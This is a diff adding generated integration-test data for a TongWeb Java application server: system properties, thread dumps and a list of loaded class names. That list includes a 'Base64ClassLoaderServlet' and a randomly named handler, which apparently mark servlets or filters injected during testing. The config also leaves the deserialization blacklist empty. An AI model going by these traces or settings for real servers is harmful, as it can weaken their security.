+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8080-exec-3" #122 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@d3abcf0
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"NioBlockingSelector.BlockPoller-1" #119 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328)
+
+"pool-1-thread-1" #85 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@71a54e2e
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Thread-35" #98 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6d93b1e0
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"WebSocketClient-AsyncIO-2" #89 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32ebbbd5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262)
+ at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+
+===========================================
+
+StackClassNames:
+Base64ClassLoaderServlet
+EmptyFilter
+ServletNameTestFilter
+UrlMappingTestFilter
+com.tongweb.monitor.persistence.TimerThread
+com.tongweb.netty.channel.nio.NioEventLoop
+com.tongweb.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator
+com.tongweb.netty.util.concurrent.SingleThreadEventExecutor$2
+com.tongweb.tongejb.nio.server.TaskQueue
+com.tongweb.tongejb.resource.jdbc.managed.xa.GlobalTransactionServer$1
+com.tongweb.twnt.thor.OpenEJBValve
+com.tongweb.web.oro.AbstractProtocol$AbstractConnectionHandler
+com.tongweb.web.oro.http11.AbstractHttp11Processor
+com.tongweb.web.thor.authenticator.AuthenticatorBase
+com.tongweb.web.thor.connector.CoyoteAdapter
+com.tongweb.web.thor.connector.CoyoteWriter
+com.tongweb.web.thor.core.ApplicationFilterChain
+com.tongweb.web.thor.core.ContainerBase$ContainerBackgroundProcessor
+com.tongweb.web.thor.core.StandardContextValve
+com.tongweb.web.thor.core.StandardEngineValve
+com.tongweb.web.thor.core.ThorStandardHostValve
+com.tongweb.web.thor.core.ThorStandardServer
+com.tongweb.web.thor.core.ThorStandardWrapperValve
+com.tongweb.web.thor.startup.Catalina
+com.tongweb.web.thor.startup.ThorBootstrap
+com.tongweb.web.thor.startup.Tomee
+com.tongweb.web.thor.valves.AccessLogValve
+com.tongweb.web.thor.valves.ErrorReportValve
+com.tongweb.web.websocket.server.WsFilter
+com.tongweb.web.webutil.util.net.DefaultServerSocketFactory
+com.tongweb.web.webutil.util.net.JIoEndpoint$Acceptor
+com.tongweb.web.webutil.util.net.JIoEndpoint$AsyncTimeout
+com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller
+com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor
+com.tongweb.web.webutil.util.net.NioEndpoint$Poller
+com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor
+com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor
+com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker
+com.tongweb.web.webutil.util.threads.TaskQueue
+org.junit.HjZBH.ErrorTcjhwHandler
diff --git a/integration-test/src/test/resources/infos/TongWeb7025ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/TongWeb7025ContainerTestBasicInfo.txt
new file mode 100644
index 00000000..8f9f3a7b
--- /dev/null
+++ b/integration-test/src/test/resources/infos/TongWeb7025ContainerTestBasicInfo.txt
@@ -0,0 +1,1092 @@
+# Generated At 2026-05-24 11:00:51
+SystemProps:
+java.vendor: Temurin
+openejb.java9.hack: false
+sun.java.launcher: SUN_STANDARD
+sun.management.compiler: HotSpot 64-Bit Tiered Compilers
+catalina.useNaming: true
+os.name: Linux
+openejb.provider.default: com.tongweb.tomee
+sun.boot.class.path: /opt/tweb7/lib/endorsed/annotation-api.jar:/opt/java/openjdk/jre/lib/resources.jar:/opt/java/openjdk/jre/lib/rt.jar:/opt/java/openjdk/jre/lib/sunrsasign.jar:/opt/java/openjdk/jre/lib/jsse.jar:/opt/java/openjdk/jre/lib/jce.jar:/opt/java/openjdk/jre/lib/charsets.jar:/opt/java/openjdk/jre/lib/jfr.jar:/opt/java/openjdk/jre/classes
+javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory
+checkNonXADB: true
+java.vm.specification.vendor: Oracle Corporation
+java.runtime.version: 1.8.0_492-b09
+tomee.version: ${pom.version}
+user.name: root
+openejb.deployments.classpath.filter.systemapps: false
+shared.loader: ${tongweb.home}/lib/common,${tongweb.home}/lib/common/*.jar,${tongweb.home}/lib/classes/,${tongweb.base}/lib/common,${tongweb.base}/lib/common/*.jar,${tongweb.base}/lib/classes/
+openejb.loader: webtier-system
+tongweb.home: /opt/tweb7
+java.naming.factory.initial: com.tongweb.naming.java.javaURLContextFactory
+user.language: en
+derby.system.home: /opt/tweb7/bin
+ibm.stream.nio: true
+sun.boot.library.path: /opt/java/openjdk/jre/lib/amd64
+ignoreSigar: true
+openjpa.Log: com.tongweb.tongejb.openjpa.JULOpenJPALogFactory
+openejb.deployments.classpath: false
+tongweb.java: /opt/java/openjdk
+java.version: 1.8.0_492
+java.util.logging.manager: com.tongweb.log.TongwebLogManager
+user.timezone: Etc/UTC
+java.net.preferIPv4Stack: true
+sun.arch.data.model: 64
+tongweb.util.buf.StringCache.byte.enabled: true
+tongweb.upload: /opt/tweb7/temp/upload
+java.endorsed.dirs: /opt/tweb7/lib/endorsed
+sun.cpu.isalist:
+sun.jnu.encoding: UTF-8
+file.encoding.pkg: sun.io
+package.access: sun.,com.tongweb.catalina.,com.tongweb.coyote.,com.tongweb.jasper.,com.tongweb.web.
+file.separator: /
+java.specification.name: Java Platform API Specification
+tongweb.snapshotinhour: 5
+java.class.version: 52.0
+tongweb.util.scan.StandardJarScanFilter.jarsToSkip: bootstrap.jar,commons-daemon.jar,annotations-api.jar,el-api.jar,jsp-api.jar,servlet-api.jar,websocket-api.jar,jaspic-api.jar,catalina.jar,catalina-ant.jar,catalina-ha.jar,catalina-storeconfig.jar,catalina-tribes.jar,jasper.jar,jasper-el.jar,ecj-*.jar,catalina-jmx-remote.jar,catalina-ws.jar,tools.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,jstl.jar,taglibs-standard-spec-*.jar,geronimo-spec-jaxrpc*.jar,wsdl4j*.jar,ant.jar,ant-junit*.jar,aspectj*.jar,jmx.jar,h2*.jar,hibernate*.jar,httpclient*.jar,jmx-tools.jar,jta*.jar,log4j*.jar,mail*.jar,slf4j*.jar,xercesImpl.jar,xmlParserAPIs.jar,xml-apis.jar,junit.jar,junit-*.jar,hamcrest-*.jar,easymock-*.jar,cglib-*.jar,objenesis-*.jar,ant-launcher.jar,cobertura-*.jar,asm-*.jar,dom4j-*.jar,icu4j-*.jar,jaxen-*.jar,jdom-*.jar,jetty-*.jar,oro-*.jar,servlet-api-*.jar,tagsoup-*.jar,xmlParserAPIs-*.jar,xom-*.jar
+tomee.remote.support: false
+user.country: US
+java.home: /opt/java/openjdk/jre
+java.vm.info: mixed mode
+shared.path.loader: ${tongweb.home}/lib/app,${tongweb.home}/lib/app/*.jar,${tongweb.base}/lib/app,${tongweb.base}/lib/app/*.jar
+os.version: 6.8.0-111-generic
+com.tongweb.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal
+openejb.embedder.source: ThanosServerListener
+tongweb.sysapp: /opt/tweb7/applications
+path.separator: :
+TONGTECH_BC_JAR_PATH: /opt/tweb7/lib/bc/bcprov.jar
+java.vm.version: 25.492-b09
+bval.in-container: true
+com.tongweb.webbeans.logger.WebBeansLoggerFacade: com.tongweb.tongejb.cdi.logging.ContainerJULLoggerFactory
+java.awt.printerjob: sun.print.PSPrinterJob
+authconfigprovider.factory: false
+java.security.policy: /opt/tweb7/conf/tongweb.policy
+sun.io.unicode.encoding: UnicodeLittle
+java.specification.maintenance.version: 6
+awt.toolkit: sun.awt.X11.XToolkit
+tongweb.base: /opt/tweb7
+package.definition: sun.,java.,com.tongweb.catalina.,com.tongweb.coyote.,com.tongweb.jasper.,com.tongweb.naming.,com.tongweb.web.
+tongweb.app: /opt/tweb7/deployment
+java.naming.factory.url.pkgs: com.tongweb.naming:com.tongweb.tongejb.core.ivm.naming
+openejb.home: /opt/tweb7
+user.home: /root
+java.rmi.server.RMIClassLoaderSpi: com.tongweb.server.TongWebRMIClassLoader
+openejb.version: ${pom.version}
+java.specification.vendor: Oracle Corporation
+java.library.path: /opt/tweb7/lib/sigar
+java.vendor.url: https://adoptium.net/
+java.vm.vendor: Temurin
+common.loader: "${tongweb.home}/lib","${tongweb.home}/lib/*.jar"
+java.runtime.name: OpenJDK Runtime Environment
+sun.java.command: com.tongweb.web.thor.startup.ThorBootstrap start
+java.class.path: /opt/java/openjdk/lib/tools.jar:/opt/tweb7/lib/bootstrap.jar:/opt/tweb7/lib/sigar/sigar.jar:/opt/tweb7/lib/ejb-agent.jar
+com.tongweb.agent.com.AgentUtil.AgentCaller.class: com.tongweb.heimdall.common.master.util.AgentCallerImpl
+shared.path.apps.loader: {ALL}
+tomee.serialization.class.blacklist: -
+com.tongweb.commons.logging.Log: com.tongweb.commons.logging.impl.Jdk14Logger
+java.vm.specification.name: Java Virtual Machine Specification
+java.vm.specification.version: 1.8
+sun.cpu.endian: little
+sun.os.patch.level: unknown
+java.awt.headless: true
+java.io.tmpdir: /opt/tweb7/temp
+java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
+switchCharacterEncoding: false
+server.loader:
+java.rmi.server.hostname: 172.17.0.4
+os.arch: amd64
+java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
+java.ext.dirs: /opt/java/openjdk/jre/lib/ext:/usr/java/packages/lib/ext
+tongweb.jndi.lookup.relaxVersion: false
+user.dir: /opt/tweb7/bin
+tongweb.poseidon.master.home: /opt/tweb7/applications/heimdall/
+line.separator:
+
+java.vm.name: OpenJDK 64-Bit Server VM
+com.tongweb.tongejb.core.security.JaccProvider: com.tongweb.tongejb.core.security.jacc.BasicJaccProvider
+openejb.base: /opt/tweb7
+file.encoding: UTF-8
+tongweb.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
+noBanner: true
+java.specification.version: 1.8
+master.path: /opt/tweb7
+
+===========================================
+
+ThreadStacks:
+"http-nio-5100-exec-6" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e8d06f0
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Exec Stream Pumper" #159 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.io.FileInputStream.readBytes(Native Method)
+ at java.io.FileInputStream.read(FileInputStream.java:255)
+ at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
+ at java.io.BufferedInputStream.read1(BufferedInputStream.java:286)
+ at java.io.BufferedInputStream.read(BufferedInputStream.java:345)
+ at java.io.FilterInputStream.read(FilterInputStream.java:107)
+ at com.tongweb.commons.exec.StreamPumper.run(StreamPumper.java:107)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Thread-5" #36 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPoll.epollWait(Native Method)
+ at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-9" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e8d06f0
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-9060-exec-10" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@404ae151
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-8" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e8d06f0
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Stateful cache" #87 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@44756d80
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-9060-exec-7" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@404ae151
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-AsyncTimeout" #115 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1138)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-AsyncTimeout" #101 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1138)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-8" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@177eb6a
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-2" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@177eb6a
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Auto-deploy-timer" #151 daemon [TIMED_WAITING] on java.util.TaskQueue@276bd732
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"http-nio2-9060-AsyncTimeout" #99 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1138)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-9060-exec-3" #17 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@404ae151
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-2" #103 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e8d06f0
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-ClientPoller-0" #112 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:791)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-6" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@177eb6a
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-2" #77 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@303ceae7
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
